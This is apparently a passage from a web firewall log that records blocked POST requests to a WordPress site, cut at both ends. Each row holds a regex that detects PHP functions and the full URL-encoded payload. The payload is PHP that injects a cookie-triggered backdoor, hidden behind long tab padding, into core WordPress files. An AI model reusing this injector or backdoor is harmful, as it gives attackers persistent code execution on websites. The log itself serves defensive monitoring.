Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3250\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nEb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:00:41","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3273\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:00:46","103.143.207.18","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:3252\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqTIxVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nWN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:00:51","141.98.11.117","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJaxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3252\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nZy=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:01:04","46.62.254.35","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> dq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-speculation-rules.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B35%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D7%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B35%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B35%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B7%252B1%253B%257D%2524k%253D%2524p%255B12%255D%2528%2529.%2524p%255B13%255D%253Bif%2528%2521%2524p%255B4%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B9%255D%2528%2524k%252C%2524p%255B10%255D%2529%253B%2524p%255B29%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B24%255D%2528%2524p%255B20%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B